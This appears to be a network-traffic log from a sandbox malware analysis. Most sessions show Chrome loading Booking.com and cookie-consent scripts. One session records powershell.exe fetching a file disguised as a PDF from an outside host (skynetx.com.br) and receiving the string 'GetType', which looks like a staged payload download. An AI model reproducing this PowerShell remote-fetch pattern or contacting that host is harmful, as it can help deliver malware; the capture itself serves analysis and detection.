2024-11-02 13:00:11 UTC	724	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 11991 Connection: close Last-Modified: Thu, 31 Oct 2024 13:03:56 GMT x-amz-server-side-encryption: AES256 x-amz-meta-x-deployment-hash: 16eb193289b17f559ee84b82ab781d5c2bd1b1a089ca669dfbb65f31a8343fb2 x-amz-version-id: EhOio.VLqt1ehE4wBGEI.QXA39y6pmR0 Accept-Ranges: bytes Server: AmazonS3 Date: Sat, 02 Nov 2024 12:48:28 GMT ETag: "5cc3fba8f5e14a1bf6dbb08589ad9063" X-Cache: Hit from cloudfront Via: 1.1 551a3a9c2bf1e2158a9f24897afe2b8c.cloudfront.net (CloudFront) X-Amz-Cf-Pop: AMS58-P1 Alt-Svc: h3=":443"; ma=86400 X-Amz-Cf-Id: OoOadpI900jrEGpieMg6kTjfN3nGxa-O4LsxqZFADyuxGl7_Oa-5kA== Age: 704 Timing-Allow-Origin: * Vary: Origin
2024-11-02 13:00:11 UTC	11991	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 62 6f 6f 6b 69 6e 67 73 5f 77 65 62 5f 61 63 63 6f 75 6e 74 73 5f 70 6f 72 74 61 6c 5f 77 6f 72 6b 73 70 61 63 65 73 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 62 6f 6f 6b 69 6e 67 73 5f 77 65 62 5f 61 63 63 6f 75 6e 74 73 5f 70 6f 72 74 61 6c 5f 77 6f 72 6b 73 70 61 63 65 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 31 33 33 5d 2c 7b 34 39 31 33 33 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 2c 65 29 7b 76 61 72 20 72 2c 6f 2c 69 2c 73 2c 75 2c 61 2c 66 2c 63 2c 6c 3b 66 75 6e 63 74 69 6f 6e 20 70 28 74 29 7b 72 65 74 75 72 6e 20 70 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 22 73 79 6d 62 6f 6c 22 3d 3d 74 79 70 65 6f Data Ascii: "use strict";(self.webpackChunkbookings_web_accounts_portal_workspaces=self.webpackChunkbookings_web_accounts_portal_workspaces\|\|[]).push([[133],{49133:function(t,n,e){var r,o,i,s,u,a,f,c,l;function p(t){return p="function"==typeof Symbol&&"symbol"==typeo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	49718	18.66.171.75	443	4160	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:11 UTC	573	OUT	GET /libs/privacy-consent/1.0.0/partner/cookie-banner.min.js HTTP/1.1 Host: www.bstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://account.booking.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-02 13:00:11 UTC	799	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 593 Connection: close Server: nginx Date: Sat, 02 Nov 2024 13:00:11 GMT Last-Modified: Fri, 27 Sep 2024 07:30:26 GMT ETag: "66f65f12-251" Expires: Mon, 02 Dec 2024 13:00:11 GMT Cache-Control: max-age=2592000 access-control-allow-origin: * nel: {"report_to":"default","max_age":600} report-to: {"endpoints":[{"url":"https://nellie.booking.com/report"}],"max_age":600,"group":"default","failure_fraction":0.05} Accept-Ranges: bytes x-xss-protection: 1; mode=block timing-allow-origin: * X-Cache: Miss from cloudfront Via: 1.1 4b0861a8035fd11b1a90183c566020e2.cloudfront.net (CloudFront) X-Amz-Cf-Pop: DUB56-P1 Alt-Svc: h3=":443"; ma=86400 X-Amz-Cf-Id: zb8rueYJjaPEMEiMDFlig36T_oLKIS1owxbWy19ddXuOCFRRrXWXOA==
2024-11-02 13:00:11 UTC	593	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 20 4f 70 74 61 6e 6f 6e 57 72 61 70 70 65 72 28 29 7b 7d 66 75 6e 63 74 69 6f 6e 20 67 65 74 44 6f 6d 61 69 6e 55 55 49 44 28 29 7b 76 61 72 20 74 3d 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 73 63 72 69 70 74 5b 73 72 63 2a 3d 27 70 72 69 76 61 63 79 2d 63 6f 6e 73 65 6e 74 27 5d 22 29 3b 69 66 28 74 26 26 74 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 64 6f 6d 61 69 6e 2d 73 63 72 69 70 74 22 29 29 72 65 74 75 72 6e 20 74 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 64 6f 6d 61 69 6e 2d 73 63 72 69 70 74 22 29 2e 74 72 69 6d 28 29 7d 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 67 65 74 44 6f 6d 61 69 6e 55 55 49 44 28 29 2c 65 3d 64 6f 63 75 6d 65 6e 74 2e 63 Data Ascii: function OptanonWrapper(){}function getDomainUUID(){var t=document.querySelector("script[src*='privacy-consent']");if(t&&t.hasAttribute("data-domain-script"))return t.getAttribute("data-domain-script").trim()}!function(){var t=getDomainUUID(),e=document.c

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	49745	18.238.243.42	443	4160	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:11 UTC	391	OUT	GET /psb/accountsportal/assets/629_b3ab60a933ee60003b06.js HTTP/1.1 Host: cf.bstatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-02 13:00:12 UTC	716	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 490977 Connection: close Date: Sat, 02 Nov 2024 13:00:12 GMT Last-Modified: Fri, 01 Nov 2024 17:50:36 GMT ETag: "18bcf08aa92a78490f082fd6e040fb46" x-amz-server-side-encryption: AES256 x-amz-meta-x-deployment-hash: 7d8cfdce18ac09aabe745ecb8a6a83aec70de52d4394c38a23de96c8134d944c x-amz-version-id: 6tNKcR4U4bnqX.1ygDHQGkp4Flm0a9Lm Accept-Ranges: bytes Server: AmazonS3 X-Cache: Miss from cloudfront Via: 1.1 c325bcaec82bfa9f1a033070b385ab14.cloudfront.net (CloudFront) X-Amz-Cf-Pop: AMS58-P1 Alt-Svc: h3=":443"; ma=86400 X-Amz-Cf-Id: uSTRcfI4_C9jtViH_K4u-Bn2uniA-PDvwFZ2g6AZHdRZT2D-diSIEA== Timing-Allow-Origin: * Vary: Origin
2024-11-02 13:00:12 UTC	15668	IN	Data Raw: 2f 2a 21 20 46 6f 72 20 6c 69 63 65 6e 73 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 73 65 65 20 36 32 39 5f 62 33 61 62 36 30 61 39 33 33 65 65 36 30 30 30 33 62 30 36 2e 6a 73 2e 4c 49 43 45 4e 53 45 2e 74 78 74 20 2a 2f 0a 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 62 6f 6f 6b 69 6e 67 73 5f 77 65 62 5f 61 63 63 6f 75 6e 74 73 5f 70 6f 72 74 61 6c 5f 77 6f 72 6b 73 70 61 63 65 73 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 62 6f 6f 6b 69 6e 67 73 5f 77 65 62 5f 61 63 63 6f 75 6e 74 73 5f 70 6f 72 74 61 6c 5f 77 6f 72 6b 73 70 61 63 65 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 36 32 39 5d 2c 7b 36 37 32 31 34 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 72 Data Ascii: /! For license information please see 629_b3ab60a933ee60003b06.js.LICENSE.txt /(self.webpackChunkbookings_web_accounts_portal_workspaces=self.webpackChunkbookings_web_accounts_portal_workspaces\|\|[]).push([[629],{67214:function(e,t,n){"use strict";var r
2024-11-02 13:00:12 UTC	48	IN	Data Raw: 44 5f 54 52 41 43 4b 2c 65 2c 74 2c 6e 29 3b 76 61 72 20 61 2c 69 2c 73 3d 7b 77 68 61 74 3a 65 2c 68 61 73 68 3a 74 2c 69 64 3a 6e 2c 76 61 72 Data Ascii: D_TRACK,e,t,n);var a,i,s={what:e,hash:t,id:n,var
2024-11-02 13:00:12 UTC	16384	IN	Data Raw: 69 61 6e 74 3a 28 65 3d 3d 3d 6f 2e 65 78 70 65 72 69 6d 65 6e 74 7c 7c 65 3d 3d 3d 6f 2e 73 74 61 67 65 29 26 26 44 28 74 29 7d 3b 69 66 28 66 5b 41 28 65 2c 74 2c 6e 29 5d 29 72 65 74 75 72 6e 20 72 2e 6c 65 76 65 6c 26 26 72 2e 72 65 70 6f 72 74 28 72 2e 65 76 65 6e 74 73 2e 4e 4f 54 5f 54 52 41 43 4b 49 4e 47 5f 57 41 53 5f 54 52 41 43 4b 45 44 2c 73 29 2c 21 31 3b 69 66 28 65 3d 3d 3d 6f 2e 65 78 70 65 72 69 6d 65 6e 74 7c 7c 65 3d 3d 3d 6f 2e 73 74 61 67 65 29 7b 69 66 28 69 3d 31 3c 3c 28 6e 7c 7c 30 29 2c 61 3d 53 28 74 29 2c 6b 2e 66 5b 61 5d 29 72 65 74 75 72 6e 20 72 2e 6c 65 76 65 6c 26 26 72 2e 72 65 70 6f 72 74 28 72 2e 65 76 65 6e 74 73 2e 4e 4f 54 5f 54 52 41 43 4b 49 4e 47 5f 46 55 4c 4c 4f 4e 2c 73 29 2c 21 31 3b 69 66 28 76 6f 69 64 20 Data Ascii: iant:(e===o.experiment\|\|e===o.stage)&&D(t)};if(f[A(e,t,n)])return r.level&&r.report(r.events.NOT_TRACKING_WAS_TRACKED,s),!1;if(e===o.experiment\|\|e===o.stage){if(i=1<<(n\|\|0),a=S(t),k.f[a])return r.level&&r.report(r.events.NOT_TRACKING_FULLON,s),!1;if(void
2024-11-02 13:00:12 UTC	16384	IN	Data Raw: 41 65 28 74 29 29 3d 3d 73 3f 68 3a 78 29 3b 76 61 72 20 41 3d 6b 3d 3d 68 26 26 21 42 28 65 29 2c 53 3d 78 3d 3d 68 26 26 21 42 28 74 29 2c 43 3d 6b 3d 3d 78 3b 69 66 28 43 26 26 21 41 29 72 65 74 75 72 6e 20 64 7c 7c 28 64 3d 6e 65 77 20 62 65 29 2c 70 7c 7c 52 65 28 65 29 3f 45 65 28 65 2c 74 2c 6e 2c 72 2c 69 2c 64 29 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 2c 72 2c 69 2c 73 2c 6c 29 7b 73 77 69 74 63 68 28 6e 29 7b 63 61 73 65 20 77 3a 69 66 28 65 2e 62 79 74 65 4c 65 6e 67 74 68 21 3d 74 2e 62 79 74 65 4c 65 6e 67 74 68 7c 7c 65 2e 62 79 74 65 4f 66 66 73 65 74 21 3d 74 2e 62 79 74 65 4f 66 66 73 65 74 29 72 65 74 75 72 6e 21 31 3b 65 3d 65 2e 62 75 66 66 65 72 2c 74 3d 74 2e 62 75 66 66 65 72 3b 63 61 73 65 20 45 3a 72 65 74 75 72 6e 21 28 65 Data Ascii: Ae(t))==s?h:x);var A=k==h&&!B(e),S=x==h&&!B(t),C=k==x;if(C&&!A)return d\|\|(d=new be),p\|\|Re(e)?Ee(e,t,n,r,i,d):function(e,t,n,r,i,s,l){switch(n){case w:if(e.byteLength!=t.byteLength\|\|e.byteOffset!=t.byteOffset)return!1;e=e.buffer,t=t.buffer;case E:return!(e
2024-11-02 13:00:12 UTC	3828	IN	Data Raw: 6c 5b 30 5d 2c 64 3d 6c 2e 73 6c 69 63 65 28 31 29 2c 70 3d 65 3d 3d 3d 66 3b 72 65 74 75 72 6e 20 61 26 26 21 70 3f 6e 75 6c 6c 3a 7b 70 61 74 68 3a 6e 2c 75 72 6c 3a 22 2f 22 3d 3d 3d 6e 26 26 22 22 3d 3d 3d 66 3f 22 2f 22 3a 66 2c 69 73 45 78 61 63 74 3a 70 2c 70 61 72 61 6d 73 3a 69 2e 72 65 64 75 63 65 28 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 72 65 74 75 72 6e 20 65 5b 74 2e 6e 61 6d 65 5d 3d 64 5b 6e 5d 2c 65 7d 29 2c 7b 7d 29 7d 7d 29 2c 6e 75 6c 6c 29 7d 76 61 72 20 45 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 29 7b 72 65 74 75 72 6e 20 65 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7c 7c 74 68 69 73 7d 72 65 74 75 72 6e 28 30 2c 72 2e 41 29 28 74 2c 65 29 2c 74 2e 70 72 6f 74 6f 74 Data Ascii: l[0],d=l.slice(1),p=e===f;return a&&!p?null:{path:n,url:"/"===n&&""===f?"/":f,isExact:p,params:i.reduce((function(e,t,n){return e[t.name]=d[n],e}),{})}}),null)}var E=function(e){function t(){return e.apply(this,arguments)\|\|this}return(0,r.A)(t,e),t.protot
2024-11-02 13:00:12 UTC	1020	IN	Data Raw: 2c 61 29 7d 2c 6f 2e 72 65 66 6c 6f 77 41 6e 64 41 64 64 43 6c 61 73 73 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 74 26 26 28 65 26 26 65 2e 73 63 72 6f 6c 6c 54 6f 70 2c 63 28 65 2c 74 29 29 7d 2c 6f 2e 72 65 6e 64 65 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 6c 28 7b 7d 2c 74 68 69 73 2e 70 72 6f 70 73 29 3b 72 65 74 75 72 6e 20 64 65 6c 65 74 65 20 65 2e 63 6c 61 73 73 4e 61 6d 65 73 2c 61 2e 64 65 66 61 75 6c 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 69 2e 64 65 66 61 75 6c 74 2c 6c 28 7b 7d 2c 65 2c 7b 6f 6e 45 6e 74 65 72 3a 74 68 69 73 2e 6f 6e 45 6e 74 65 72 2c 6f 6e 45 6e 74 65 72 65 64 3a 74 68 69 73 2e 6f 6e 45 6e 74 65 72 65 64 2c 6f 6e 45 6e 74 65 72 69 6e 67 3a 74 68 69 73 2e 6f 6e 45 6e 74 65 72 69 6e 67 2c 6f 6e 45 Data Ascii: ,a)},o.reflowAndAddClass=function(e,t){t&&(e&&e.scrollTop,c(e,t))},o.render=function(){var e=l({},this.props);return delete e.classNames,a.default.createElement(i.default,l({},e,{onEnter:this.onEnter,onEntered:this.onEntered,onEntering:this.onEntering,onE
2024-11-02 13:00:12 UTC	16384	IN	Data Raw: 66 65 63 79 63 6c 65 28 22 6f 6e 45 6e 74 65 72 69 6e 67 22 2c 30 2c 6e 29 7d 2c 74 2e 68 61 6e 64 6c 65 45 6e 74 65 72 65 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 65 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 2c 6e 3d 6e 65 77 20 41 72 72 61 79 28 65 29 2c 72 3d 30 3b 72 3c 65 3b 72 2b 2b 29 6e 5b 72 5d 3d 61 72 67 75 6d 65 6e 74 73 5b 72 5d 3b 72 65 74 75 72 6e 20 74 2e 68 61 6e 64 6c 65 4c 69 66 65 63 79 63 6c 65 28 22 6f 6e 45 6e 74 65 72 65 64 22 2c 30 2c 6e 29 7d 2c 74 2e 68 61 6e 64 6c 65 45 78 69 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 65 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 2c 6e 3d 6e 65 77 20 41 72 72 61 79 28 65 29 2c 72 3d 30 3b 72 3c 65 3b 72 2b 2b 29 6e 5b 72 5d 3d 61 72 67 Data Ascii: fecycle("onEntering",0,n)},t.handleEntered=function(){for(var e=arguments.length,n=new Array(e),r=0;r<e;r++)n[r]=arguments[r];return t.handleLifecycle("onEntered",0,n)},t.handleExit=function(){for(var e=arguments.length,n=new Array(e),r=0;r<e;r++)n[r]=arg
2024-11-02 13:00:12 UTC	16384	IN	Data Raw: 74 3d 22 31 70 78 22 2c 6f 2e 73 74 79 6c 65 2e 6f 70 61 63 69 74 79 3d 22 30 22 2c 72 26 26 6f 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 61 72 69 61 2d 6c 61 62 65 6c 22 2c 72 29 2c 65 2e 69 6e 73 65 72 74 41 64 6a 61 63 65 6e 74 45 6c 65 6d 65 6e 74 28 22 62 65 66 6f 72 65 62 65 67 69 6e 22 2c 6f 29 2c 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 2c 6e 29 2c 65 2e 72 65 6d 6f 76 65 41 74 74 72 69 62 75 74 65 28 22 74 69 74 6c 65 22 29 2c 65 2e 72 65 6d 6f 76 65 41 74 74 72 69 62 75 74 65 28 22 61 72 69 61 2d 6c 61 62 65 6c 22 29 2c 22 6c 61 73 74 22 3d 3d 3d 74 3f 28 61 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 2c 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 74 61 62 69 6e 64 65 78 22 2c Data Ascii: t="1px",o.style.opacity="0",r&&o.setAttribute("aria-label",r),e.insertAdjacentElement("beforebegin",o),e.setAttribute("id",n),e.removeAttribute("title"),e.removeAttribute("aria-label"),"last"===t?(a=document.createElement("div"),a.setAttribute("tabindex",
2024-11-02 13:00:12 UTC	2048	IN	Data Raw: 74 22 2c 6c 28 7b 7d 2c 76 2c 7b 74 79 70 65 3a 22 63 68 65 63 6b 62 6f 78 22 2c 6e 61 6d 65 3a 64 2c 63 68 65 63 6b 65 64 3a 6e 75 6c 6c 21 3d 6e 3f 6e 3a 76 6f 69 64 20 30 2c 64 65 66 61 75 6c 74 43 68 65 63 6b 65 64 3a 63 2c 69 64 3a 62 2c 64 69 73 61 62 6c 65 64 3a 6d 2c 63 6c 61 73 73 4e 61 6d 65 3a 22 62 6b 4c 42 4f 71 46 6b 56 65 67 61 68 48 43 73 65 63 63 53 22 2c 22 61 72 69 61 2d 6c 61 62 65 6c 22 3a 68 2c 22 61 72 69 61 2d 63 68 65 63 6b 65 64 22 3a 6e 75 6c 6c 21 3d 6e 26 26 6e 2c 72 6f 6c 65 3a 22 73 77 69 74 63 68 22 2c 6f 6e 43 68 61 6e 67 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 75 26 26 75 28 7b 6e 61 6d 65 3a 64 2c 76 61 6c 75 65 3a 65 2e 74 61 72 67 65 74 2e 63 68 65 63 6b 65 64 2c 65 76 65 6e 74 3a 65 7d 29 7d 7d 29 29 2c 72 2e 63 72 Data Ascii: t",l({},v,{type:"checkbox",name:d,checked:null!=n?n:void 0,defaultChecked:c,id:b,disabled:m,className:"bkLBOqFkVegahHCseccS","aria-label":h,"aria-checked":null!=n&&n,role:"switch",onChange:function(e){u&&u({name:d,value:e.target.checked,event:e})}})),r.cr
2024-11-02 13:00:12 UTC	16384	IN	Data Raw: 72 6e 20 70 7d 7d 29 3b 76 61 72 20 72 3d 6e 28 39 36 35 34 30 29 2c 6f 3d 6e 28 39 35 38 30 31 29 2c 61 3d 6e 28 38 33 34 37 29 2c 69 3d 6e 28 37 36 36 34 31 29 2c 73 3d 6e 28 37 30 39 36 38 29 2c 6c 3d 6e 28 32 36 33 30 36 29 2c 63 3d 28 6e 28 37 38 33 34 35 29 2c 7b 72 6f 6f 74 3a 22 73 75 47 58 55 78 33 47 74 65 4c 66 36 61 6e 32 79 6c 59 47 22 2c 68 65 61 64 69 6e 67 3a 22 79 52 6b 68 72 37 7a 43 70 44 6e 31 74 4e 39 34 4a 39 4f 6e 22 2c 22 72 6f 6f 74 2d 2d 73 69 7a 65 2d 73 6d 61 6c 6c 22 3a 22 72 41 77 57 36 44 77 58 31 38 46 6f 37 4f 52 64 67 33 4c 54 22 2c 22 72 6f 6f 74 2d 2d 73 69 7a 65 2d 6d 65 64 69 75 6d 22 3a 22 66 4c 78 78 58 39 51 59 4e 5a 67 4f 75 33 37 68 35 35 42 6b 22 2c 22 72 6f 6f 74 2d 2d 73 69 7a 65 2d 61 75 74 6f 22 3a 22 6c 46 Data Ascii: rn p}});var r=n(96540),o=n(95801),a=n(8347),i=n(76641),s=n(70968),l=n(26306),c=(n(78345),{root:"suGXUx3GteLf6an2ylYG",heading:"yRkhr7zCpDn1tN94J9On","root--size-small":"rAwW6DwX18Fo7ORdg3LT","root--size-medium":"fLxxX9QYNZgOu37h55Bk","root--size-auto":"lF

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	49746	24.152.39.120	443	4592	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:11 UTC	154	OUT	GET /license/2/1type.pdf HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: skynetx.com.br
2024-11-02 13:00:12 UTC	209	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 13:00:09 GMT Server: Apache Last-Modified: Wed, 02 Oct 2024 16:30:23 GMT Accept-Ranges: bytes Content-Length: 7 Connection: close Content-Type: application/pdf
2024-11-02 13:00:12 UTC	7	IN	Data Raw: 47 65 74 54 79 70 65 Data Ascii: GetType

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	49749	104.18.86.42	443	4160	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:12 UTC	548	OUT	GET /scripttemplates/otSDKStub.js HTTP/1.1 Host: cdn.cookielaw.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://account.booking.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-02 13:00:12 UTC	859	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 13:00:12 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Content-MD5: qVqAwzZMp5y69q24H0KNhg== Last-Modified: Thu, 31 Oct 2024 19:22:01 GMT x-ms-request-id: 6717472a-101e-0057-2a7a-2c7a07000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 21304 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Content-Type-Options: nosniff Cross-Origin-Resource-Policy: cross-origin Server: cloudflare CF-RAY: 8dc44e631d273ac6-DFW
2024-11-02 13:00:12 UTC	510	IN	Data Raw: 35 37 61 65 0d 0a 76 61 72 20 4f 6e 65 54 72 75 73 74 53 74 75 62 3d 28 74 3d 3e 7b 76 61 72 20 61 2c 6f 2c 72 2c 65 2c 6c 3d 6e 65 77 20 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 6f 70 74 61 6e 6f 6e 43 6f 6f 6b 69 65 4e 61 6d 65 3d 22 4f 70 74 61 6e 6f 6e 43 6f 6e 73 65 6e 74 22 2c 74 68 69 73 2e 6f 70 74 61 6e 6f 6e 48 74 6d 6c 47 72 6f 75 70 44 61 74 61 3d 5b 5d 2c 74 68 69 73 2e 6f 70 74 61 6e 6f 6e 48 6f 73 74 44 61 74 61 3d 5b 5d 2c 74 68 69 73 2e 67 65 6e 56 65 6e 64 6f 72 73 44 61 74 61 3d 5b 5d 2c 74 68 69 73 2e 76 65 6e 64 6f 72 73 53 65 72 76 69 63 65 44 61 74 61 3d 5b 5d 2c 74 68 69 73 2e 49 41 42 43 6f 6f 6b 69 65 56 61 6c 75 65 3d 22 22 2c 74 68 69 73 2e 6f 6e 65 54 72 75 73 74 49 41 42 43 6f 6f 6b 69 65 4e 61 6d 65 3d 22 65 75 70 75 Data Ascii: 57aevar OneTrustStub=(t=>{var a,o,r,e,l=new function(){this.optanonCookieName="OptanonConsent",this.optanonHtmlGroupData=[],this.optanonHostData=[],this.genVendorsData=[],this.vendorsServiceData=[],this.IABCookieValue="",this.oneTrustIABCookieName="eupu
2024-11-02 13:00:12 UTC	1369	IN	Data Raw: 22 2c 22 53 49 22 2c 22 53 4b 22 2c 22 46 49 22 2c 22 53 45 22 2c 22 47 42 22 2c 22 48 52 22 2c 22 4c 49 22 2c 22 4e 4f 22 2c 22 49 53 22 5d 2c 74 68 69 73 2e 73 74 75 62 46 69 6c 65 4e 61 6d 65 3d 22 6f 74 53 44 4b 53 74 75 62 22 2c 74 68 69 73 2e 44 41 54 41 46 49 4c 45 41 54 54 52 49 42 55 54 45 3d 22 64 61 74 61 2d 64 6f 6d 61 69 6e 2d 73 63 72 69 70 74 22 2c 74 68 69 73 2e 62 61 6e 6e 65 72 53 63 72 69 70 74 4e 61 6d 65 3d 22 6f 74 42 61 6e 6e 65 72 53 64 6b 2e 6a 73 22 2c 74 68 69 73 2e 64 6f 6d 50 75 72 69 66 79 53 63 72 69 70 74 4e 61 6d 65 3d 22 6f 74 44 6f 6d 50 75 72 69 66 79 2e 6a 73 22 2c 74 68 69 73 2e 6d 6f 62 69 6c 65 4f 6e 6c 69 6e 65 55 52 4c 3d 5b 5d 2c 74 68 69 73 2e 69 73 4d 69 67 72 61 74 65 64 55 52 4c 3d 21 31 2c 74 68 69 73 2e 6d Data Ascii: ","SI","SK","FI","SE","GB","HR","LI","NO","IS"],this.stubFileName="otSDKStub",this.DATAFILEATTRIBUTE="data-domain-script",this.bannerScriptName="otBannerSdk.js",this.domPurifyScriptName="otDomPurify.js",this.mobileOnlineURL=[],this.isMigratedURL=!1,this.m
2024-11-02 13:00:12 UTC	1369	IN	Data Raw: 6e 29 69 66 28 2f 3a 2f 2e 74 65 73 74 28 69 5b 6e 5d 29 29 7b 69 66 28 21 28 61 3d 69 5b 6e 5d 2e 73 70 6c 69 74 28 2f 3a 28 2e 2b 29 2f 29 29 5b 31 5d 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 65 5b 74 68 69 73 2e 63 61 6d 65 6c 69 7a 65 28 61 5b 30 5d 29 5d 3d 61 5b 31 5d 2e 74 72 69 6d 28 29 7d 72 65 74 75 72 6e 20 65 7d 2c 69 29 3b 66 75 6e 63 74 69 6f 6e 20 69 28 29 7b 76 61 72 20 74 3d 74 68 69 73 3b 74 68 69 73 2e 69 6d 70 6c 65 6d 65 6e 74 54 68 65 50 6f 6c 79 66 69 6c 6c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 74 2c 6f 3d 45 6c 65 6d 65 6e 74 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 3b 72 65 74 75 72 6e 20 45 6c 65 6d 65 6e 74 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 3d 66 75 6e Data Ascii: n)if(/:/.test(i[n])){if(!(a=i[n].split(/:(.+)/))[1])return null;e[this.camelize(a[0])]=a[1].trim()}return e},i);function i(){var t=this;this.implementThePolyfill=function(){var a=t,o=Element.prototype.setAttribute;return Element.prototype.setAttribute=fun
